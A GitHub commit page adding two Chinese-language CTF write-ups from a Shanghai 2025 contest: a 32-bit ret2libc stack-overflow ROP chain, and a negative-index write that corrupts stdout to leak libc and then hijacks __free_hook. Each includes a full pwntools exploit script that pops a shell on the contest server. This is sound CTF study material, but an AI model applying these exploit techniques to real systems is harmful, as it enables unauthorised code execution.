Skip to content

Commit fb05475

Browse files
committed
create(shanghai2025): add writeups
1 parent f0d2104 commit fb05475

File tree

5 files changed

+173
-0
lines changed

5 files changed

+173
-0
lines changed
Lines changed: 83 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,83 @@
1+
---
2+
title: 上海磐石行动 2025 初赛 - account
3+
date: 2025/08/09 15:10:00
4+
updated: 2025/08/09 15:29:00
5+
tags:
6+
- noob
7+
thumbnail: /assets/shanghai2025/32bit_rop.png
8+
excerpt: 栈溢出利用ret2libc构造32位ROP链泄露libc并执行`system("/bin/sh")`。
9+
---
10+
11+
## 文件属性
12+
13+
|属性 ||
14+
|------|------|
15+
|Arch |i386 |
16+
|RELRO|Partial|
17+
|Canary|off |
18+
|NX |on |
19+
|PIE |off |
20+
|strip |no |
21+
|libc |2.31-0ubuntu9.18|
22+
23+
## 解题思路
24+
25+
非常直接的栈溢出,走ret2libc那套就行。不输入0就可以一直往上输入,
26+
输入时还会覆盖到`idx`,可以顺手将其改为指向返回地址,少循环几次,
27+
然后输入rop的链子后以0结尾就行。
28+
29+
好久没做32位的题了,都忘记怎么构造rop了。32位上,发生了`call`以后,
30+
对于子函数来说,`[esp]`是返回地址,`[esp+4]`才是参数。因此我们在构造链子的时候,
31+
返回地址后面不应该跟参数,而是跟另一个返回地址,如下图所示。
32+
33+
<img src="/assets/shanghai2025/32bit_rop.png" width="60%">
34+
35+
{% note green fa-lightbulb %}
36+
`scanf("%d")`在输入超大数字时不会自动溢出到负数,因此需要我们手动干预,
37+
取数字的补码,例如对于libc这种超过`0x7fffffff`的指针,就要手动减去`1 << 32`
38+
{% endnote %}
39+
40+
## EXPLOIT
41+
42+
```python
43+
from pwn import *
44+
context.terminal = ['tmux', 'splitw', '-h']
45+
def GOLD_TEXT(x): return f'\x1b[33m{x}\x1b[0m'
46+
EXE = './account'
47+
48+
def payload(lo: int):
49+
global t
50+
if lo:
51+
t = process(EXE)
52+
if lo & 2:
53+
gdb.attach(t, 'b *0x80492ea\nc')
54+
else:
55+
t = remote('pss.idss-cn.com', 24817)
56+
elf = ELF(EXE)
57+
libc = ELF('./libc.so.6')
58+
59+
def round_input(rop: list[int]):
60+
bills = [1] * 10 # overflow
61+
bills.append(13) # write i to ret addr
62+
for e in rop:
63+
bills.append(e if e < 0x80000000 else e - (1 << 32))
64+
bills.append(0) # ends up
65+
t.sendlineafter(b'Enter', ' '.join(map(str, bills)).encode())
66+
t.recvuntil(b'completed\n')
67+
68+
round_input([elf.plt['puts'], elf.symbols['vul'], elf.got['puts']])
69+
libc_base = t.u32() - libc.symbols['puts']
70+
success(GOLD_TEXT(f'Leak libc_base: {libc_base:#x}'))
71+
libc.address = libc_base
72+
73+
round_input([libc.symbols['system'], libc.symbols['exit'],
74+
next(libc.search(b'/bin/sh')), 1])
75+
76+
t.clean()
77+
t.interactive()
78+
t.close()
79+
```
80+
81+
{% note default fa-flag %}
82+
![flag](/assets/shanghai2025/account_flag.png)
83+
{% endnote %}

source/_posts/shanghai2025/user.md

Lines changed: 90 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,90 @@
1+
---
2+
title: 上海磐石行动 2025 初赛 - user
3+
date: 2025/08/09 15:29:00
4+
updated: 2025/08/09 15:29:00
5+
tags:
6+
- IO arb write
7+
- libc2.31
8+
excerpt: 利用负索引越界修改`stdout`泄露libc并覆盖`__free_hook`为`system`实现get shell。
9+
---
10+
11+
## 文件属性
12+
13+
|属性 ||
14+
|------|------|
15+
|Arch |amd64 |
16+
|RELRO |Full |
17+
|Canary|on |
18+
|NX |on |
19+
|PIE |on |
20+
|strip |no |
21+
|libc |2.31-0ubuntu9.18|
22+
23+
## 解题思路
24+
25+
看到`delete``edit`对输入的索引检查不严格,允许我们输入负数以向前访问。
26+
由于RELRO只读,因此我们有效的数据只有`stdin, stdout, stderr``__dso_handle`
27+
使用`edit`,我们能够写`*stdout`的前0x40字节,通过修改`_flag``_IO_write_base`
28+
就可以让`puts`先将base-ptr范围之间的内容输出出来,借此泄露libc。
29+
30+
{% note green fa-lightbulb %}
31+
网上一般说修改`_flag``0xfbad1800`,但是这样的话就不是无缓冲了,会影响脚本后续判断,
32+
因此根据原flag,我们可以设置为`0xfbad1887`,这样既能利用成功,又能保持原有的输出特性。
33+
{% endnote %}
34+
35+
不难注意到`__dso_handle`上放着`__dso_handle`自己,因此我们edit它时,
36+
等于原地修改那一片的内存。由于是libc2.31,可以直接写入一个`__free_hook`的地址,
37+
再edit它并写入`system`,就利用完毕了。最后分配一个堆块写入`/bin/sh`后,
38+
释放一下就能拿shell。
39+
40+
## EXPLOIT
41+
42+
```python
43+
from pwn import *
44+
context.terminal = ['tmux', 'splitw', '-h']
45+
context.arch = 'amd64'
46+
def GOLD_TEXT(x): return f'\x1b[33m{x}\x1b[0m'
47+
EXE = './user'
48+
49+
def payload(lo: int):
50+
global t
51+
if lo:
52+
t = process(EXE)
53+
if lo & 2:
54+
gdb.attach(t)
55+
else:
56+
t = remote('pss.idss-cn.com', 22122)
57+
elf = ELF(EXE)
58+
libc = elf.libc
59+
60+
def add(buf: bytes):
61+
t.sendlineafter(b'Unregister', b'1')
62+
t.sendafter(b'username:\n', buf)
63+
64+
def delete(idx: int):
65+
t.sendlineafter(b'Unregister', b'2')
66+
t.sendlineafter(b'index', str(idx).encode())
67+
68+
def edit(idx: int, buf: bytes):
69+
t.sendlineafter(b'Unregister', b'4')
70+
t.sendlineafter(b'index', str(idx).encode())
71+
t.sendafter(b'username:\n', buf)
72+
73+
edit(-8, flat(0xfbad1887, 0, 0, 0, p8(0x8))) # set stdout->write_base to stdout->chain
74+
libc_base = t.u64() - libc.symbols['_IO_2_1_stdin_']
75+
success(GOLD_TEXT(f'Leak libc_base: {libc_base:#x}'))
76+
libc.address = libc_base
77+
78+
add(b'/bin/sh')
79+
edit(-11, p64(libc.symbols['__free_hook'])) # write free_hook on __dso_handle
80+
edit(-11, p64(libc.symbols['system'])) # write system on free_hook
81+
delete(0) # trigger free hook
82+
83+
t.clean()
84+
t.interactive()
85+
t.close()
86+
```
87+
88+
{% note default fa-flag %}
89+
![flag](/assets/shanghai2025/user_flag.png)
90+
{% endnote %}
58.5 KB
Loading
70.1 KB
Loading
66.3 KB
Loading

0 commit comments

Comments
 (0)